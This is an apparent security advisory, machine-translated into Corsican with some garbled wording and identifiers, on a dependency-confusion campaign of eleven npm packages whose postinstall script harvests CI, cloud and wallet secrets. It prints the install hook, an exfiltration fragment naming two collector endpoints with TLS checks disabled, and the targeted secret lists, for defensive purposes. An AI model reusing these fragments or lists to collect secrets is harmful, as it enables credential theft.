TL; DR
U 17/06/2026, un unicu contu npm hè statu publicatu. undici pacchetti chì spartenu un scopu è un payloadDeci di elli portanu u cryptodao- prefissu (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); l'undicesimu hè quellu cù scopu @public-for-cdao/coreOgnunu hè statu publicatu à a versione 99.99.99 è spedisce un byte identicu recon.js chì corre postinstall.
I nomi sò l'indicatore. Si leghjenu cum'è i blocchi di custruzzione interni di a catena di strumenti privata di un prughjettu crypto/DAO. Publicati in u registru publicu npm in una versione artificialmente alta, stanu in attesa di una custruzzione. pipeline chì hè cunfiguratu per risolve quelli nomi è chì ghjunghje à u npm publicu prima - o invece di - u registru privatu. Questu hè cunfusione di dipendenza, è a carica utile hè sintonizzata per esattamente induve si prevede di atterrà: CI/CD i corelli.
quandu postinstall incendi, recon.js raccoglie i dettagli di l'ospite, spazza grossolanamente quaranta variabili d'ambiente di nuvola, CI è cripto-portafogliu, leghje qualsiasi .env i fugliali ch'ellu pò truvà è trasmette e linee chì portanu sicreti parola per parola, poi trasmette u fasciu à dui cullettori - webhook.site è un endpoint Pipedream - cù a verificazione di u certificatu TLS disattivata. Una copia hè ancu scritta sottu /tmp.
Severità: altuEcosistema affettatu: npmTutti l'undici pacchetti eranu in diretta à u mumentu di a scrittura.
Anatomia di l'attaccu
U mecanismu hà quattru parti mobili, è nisuna di elle hè suttile una volta chì sapete cumu fà. fighjate un stratu dopu u nome di u pacchettu.
1. Inflazione di versione cum'è esca per risolutori. Ogni pacchettu dichjara a versione 99.99.99A cunfusione di dipendenza funziona quandu un gestore di pacchetti hà dumandatu un nome internu, verifica ancu u registru publicu è sceglie a versione più alta finds. A selezzione predefinita di npm per un intervallu di caret o jolly hè u versione più soddisfacente in ogni fonte cunfigurata; se tramindui un privatu U registru è a risposta npm publica per u listessu nome, u numeru di versione più grande vince. A 99.99.99 supera essenzialmente qualsiasi versione interna reale chì un prughjettu averà righjuntu, dunque un risolutore chì ùn hè micca attaccatu à a fonte privata preferisce u copia publica - è in questu casu, ostile. L'operatore ùn hà micca bisognu di cunnosce u i numeri di versione reale di u target; sceglie un massimu assurdu garantisce sempre u ligame rompe a so strada.
2. Un trigger di postinstallazione. package.json cabla u payload à l'installazione ciclu di vita:
{ "scripts": { "postinstall": "node recon.js" } } Nisuna impurtazione di u pacchettu hè necessaria. Basta à installallu - chì un CI pipeline face automaticamente - funziona recon.js.
3. Una vasta indagine secreta. recon.js assembla un array di risultati in tappe:
- Cuntestu di l'ospite: nome di l'ospite, piattaforma è versione, architettura, nome d'utilizatore, funziunamentu catalogo.
- Variabili d'ambiente: itereghja una lista fissa di circa quaranta nomi è registri tutti quelli chì sò impostati. A lista hè rivelatrice - accoppia gettoni CI generici (CI_JOB_TOKEN, PASSWORD_DI_REGISTRO_CI, GITLAB_ACCESS_TOKEN) è nuvola credenziali (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) cù i sicreti di u registru è di u container (NPM_TOKEN, PASSWORD_DOCKER, HARBOR_PASSWORD) è un cluster distintamente crittograficu: CHIAVE_PRIVATA, MNEMONICU, FRASE_SEME, CHIAVE_API_INFURA, CHIAVE_API_ALCHIMIA, ETH_RPC, BSC_RPCI valori arregistrati sò troncati à i primi 50 caratteri.
- .env fugliali: sonda una lista di percorsi — .env, ../.ambiente, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, e lu .produzzione/.sviluppu varianti - è per qualsiasi schedariu chì esiste, hè filtra u cuntenutu à e linee chì currispondenu CHIAVE|SICRETU|GETTONE|PASS|PRIVATU|MNEMONICU è spinge quelle linee **per interu, senza troncamentu** in i risultati.
- Cuntestu Build-host: elenca e prime 20 entrate di /custruisce/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/, e /tmp/.
A lista di percorsi è a lista di variabili sò ponderate versu i corridori GitLab, chì punta u payload direttamente nantu à l'infrastruttura CI autoospitata piuttostu chè un sviluppatore laptop. U raggruppamentu di a lista di a racolta per categuria rende chjaru u trasportu previstu:
| Catigurìa | Variabili / percorsi raggiunti |
|---|---|
| CI/CD identità è implementazione | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| ghjuvan battista | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| Registru è cuntenitore | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| Magazzini di dati | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| Criptovaluta / blockchain | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| Messageria | SLACK_TOKEN, DISCORD_TOKEN |
| Nantu à u discu | .env famiglia + /home/gitlab-runner/.env, /root/.env, /app/**/.envelenchi di u cartulare di /builds/, /var/lib/gitlab-runner/ |
U cluster di criptografia hè a parte chì distingue questu da un CI-secret genericu. sweep: e frasi di seed di u portafogliu è e chjave di firma cumpariscenu solu in l'ambiente di un prughjettu blockchain, è si mappanu direttamente nantu à u criptodao-/scritta/contratti numinazione di i trasportatori.
4. Doppia esfiltrazione cù verificazione disattivata. L'array raccoltu hè serializatu è inviatu à duie destinazioni:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) ricusàSenza autorizazione: falsu disattiva i cuntrolli di certificatu TLS per l'in uscita chjamate. I stessi dati sò stampati in stdout (cusì sbarcanu ancu in i registri di u travagliu CI) è scrittu à /tmp/.npm_recon_ .jsonL'errori sò inghjuttiti in silenziu, dunque un L'inviu fallitu ùn lascia alcuna traccia in l'output di l'installazione oltre à una sola [ricunniscenza] installatu annantu ligna.
Un cummentariu principale in u schedariu u descrive cum'è una "Cunfusione di Dipendenza" Caricu di Ricognizione." A truncatura di i valori di l'ambiente à 50 caratteri hà a forma di una prova di cuncettu. Ciò chì a move oltre un faro di sola presenza hè u .env gestione: e linee chì portanu secreti sò trasmesse per interu, è e destinazioni sò dui cullettori cuntrullati da l'attaccanti chì funzionanu invece di un lavandinu chì conta solu colpi.
Timeline
U mudellu di publicazione hè a firma di una sola spinta scritta, micca undici caricamenti indipendenti.
| Ora (UTC, 2026-06-17) | Event |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 publicatu |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — variante cù scopu, ~24 min dopu |
Dece pacchetti sò surtiti in un intervallu di 29 secondi, circa unu ogni trè secondi. U scopu @publicu-per-cdao/core seguitatu circa 24 minuti dopu - un secondu cunvenzione di denominazione per u listessu scopu, in casu chì u prughjettu cunsumatore faci riferimentu à catena di strumenti interna sottu un scopu piuttostu chè cum'è nomi nudi.
Indicatori di compromessi
| Type | pressure |
|---|---|
| Collector | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| Collector | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| Installà u ganciu | postinstall: node recon.js |
| File abbandunatu | /tmp/.npm_recon_<timestamp>.json |
| Marcatore di troncu | [recon] <pkg>@<ver> installed on <hostname> (stdout in i logs CI) |
| Comportamentale | rejectUnauthorized: false nantu à HTTPS in uscita durante l'installazione |
| Carica utile | recon.js, identicu in tutti l'undici pacchetti (una custruzzione spartuta) |
| Version | 99.99.99 nantu à ogni pacchettu |
| Packages | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (tutti 99.99.99) |
| Publisher | aduljune / aduljune@proton.me (email micca verificatu, nisun repositoriu di fonte ligatu) |
Attribuzione è cumpurtamentu osservatu
Tuttu ciò chì riguarda u cluster punta à una manu. Tutti l'undici pacchetti sò stati publicati. da u contu npm aduljune (aduljune@proton.me, un indirizzu micca verificatu senza repositoriu di fonte culligatu), in un intervallu di 25 minuti, à u listessu tempu 99.99.99 versione, spedizione di un recon.js u so cuntenutu hè identicu byte per byte in ogni pacchettu (MD5 currisponde à tutte l'undici copie estratte). Quella hè una carica utile stampatu nantu à una lista di nomi, micca un riutilizazione di codice indipendente.
A lista di nomi definisce u scopu previstu. criptu-* e cdao discrivi u layout di moduli privati di un prughjettu crypto/DAO, è a lista di raccolta di u payload specchi chì indovinanu: accantu à i sicreti generichi di CI è di nuvola, specificamente raggiunge per CHIAVE_PRIVATA, MNEMONICU, FRASE_SEME, è Ethereum/BSC RPC è chjave di u fornitore. U .env I percorsi di ricerca è l'elenchi di cartulari sò GitLab-runner specificu. L'effettu osservabile hè chì qualsiasi pipeline ingannatu à stallà questi i nomi trasmetteranu i so gettoni CI, e chjave di nuvola è i dati nantu à u discu .env sicreti - è, per un prughjettu blockchain, u so materiale di portafogliu - à dui cullezzione di terze parti.
Ùn facemu alcuna dichjarazione nantu à quale gestisce u contu o ciò chì avianu previstu di fà cù u dati. I fatti chì stanu per sè stessi: i nomi miranu à un tipu specificu di catena di strumenti interna, u payload legge è trasmette valori secreti veri, è u l'infrastruttura era in diretta.
Impattu, tendenze è guida di difensore
Cunfusione di dipendenza ferma efficace perchè sfrutta u cumpurtamentu di u risolutore, micca un vulnerabilità in ogni pacchettu. U trasportatore quì hè triviale - undici quasi vioti pacchetti - ma u raghju di l'esplosione hè qualunque pipeline preferisce erroneamente npm publicu per un nome internu. I corridori CI sò u peghju locu per chì questu accada: tenenu esattamente i gettoni è .env i fugliali chì sta carica legge, è l'installanu dipendenze in modu micca interattivu, dunque a postinstallazione corre senza chì nimu ùn li guardi.
Stu cluster currisponde ancu à un mudellu chì vedemu sempre: carichi utili in tempu d'installazione chì presentanu cum'è "ricerca" o "ricognizione" mentre si face una vera raccolta di credenziali. L'etichetta in u schedariu ùn cambia micca ciò chì u codice face nantu à un corridore. Dui scelte di cuncepimentu mantenenu l'attività tranquilla: ogni operazione di rete è di sistema di fugliali hè avvolta in un gestore d'eccezioni chì scarta l'errori, dunque un inviu bluccatu o un schedariu mancante ùn produce micca output diagnosticu, è l'unica cosa stampata hè un unicu innocu [ricunniscenza] … installatu linea chì si mischia cù u chatter d'installazione nurmale. L'usu di webhook.site è Pipedream hè ancu una cunvenienza deliberata - tramindui sò gratuiti, servizii di cattura di richieste furniti istantaneamente, cusì l'operatore ùn hà bisognu di servitori di i so propri è e destinazioni parenu nomi di host SaaS ordinari in i logs di uscita.
L'ecunumia hè ciò chì face chì questu degne di l'attenzione di un difensore ancu s'è U codice di u trasportatore hè triviale. A registrazione di undici nomi ùn costa nunda, u payload hè unu schedariu copiatu ondeci volte, è u gestore di pacchetti face tutta l'esecuzione. Un solu misconfiguratu pipeline In ogni locu chì cunsuma unu di sti nomi paga per tuttu funziunamentu.
Passi concreti per i difensori:
- Aggiungete l'ambiti interni à u vostru registru privatu. Cunfigurà npm cusì nomi interni
è i scopi si risolvenu solu contr'à u vostru registru (mappature di u registru .npmrc cù ambitu, o un proxy chì ùn casca mai in npm publicu per i spazii di nomi pusseduti). Riservate i vostri nomi di scopu publicu in modu chì nimu altru ùn li possi registrà.
- Commit lockfiles è stallazione cù –ignore-scripts in CI induve pussibule, o verificate u picculu inseme di dipendenze chì anu veramente bisognu di scripts d'installazione. recon.js ùn pò micca esse eseguitu se postinstallazione ùn hè micca eseguitu.
- Trattate una versione à 99.99.99 (o altra versione assurdamente alta) di un nome chì pare internu cum'è una bandera rossa in a rivista di e dipendenze è u monitoraghju di u registru.
- Avvisu à l'uscita in tempu d'installazione. A postinstallazione chì apre un HTTPS in uscita cunnessione - in particulare cù a verificazione di certificatu disattivata - à webhook.site, Pipedream, o simili servizii di cattura di richieste valenu a pena di esse bluccati à a periferia di a rete è segnalati in i registri di compilazione.
- Caccia à l'artefatti. Verificate i corridori /tmp/.npm_recon_*.json è per u [recon] ... installatu u ... marcatore in i registri CI recenti. S'ellu hè truvatu, rote ogni credenziale esposta à quessa pipeline — Gettoni CI, chjave di nuvola, gettoni di registru, è qualsiasi seed di portafogliu o chjave privata prisente in l'ambiente o in i fugliali .env.
Vede ancu
Nisun rapportu esternu nantu à questu cluster esisteva à u mumentu di a scrittura; l'analisi sopra hè basatu direttamente nantu à u cuntenutu di u pacchettu publicatu




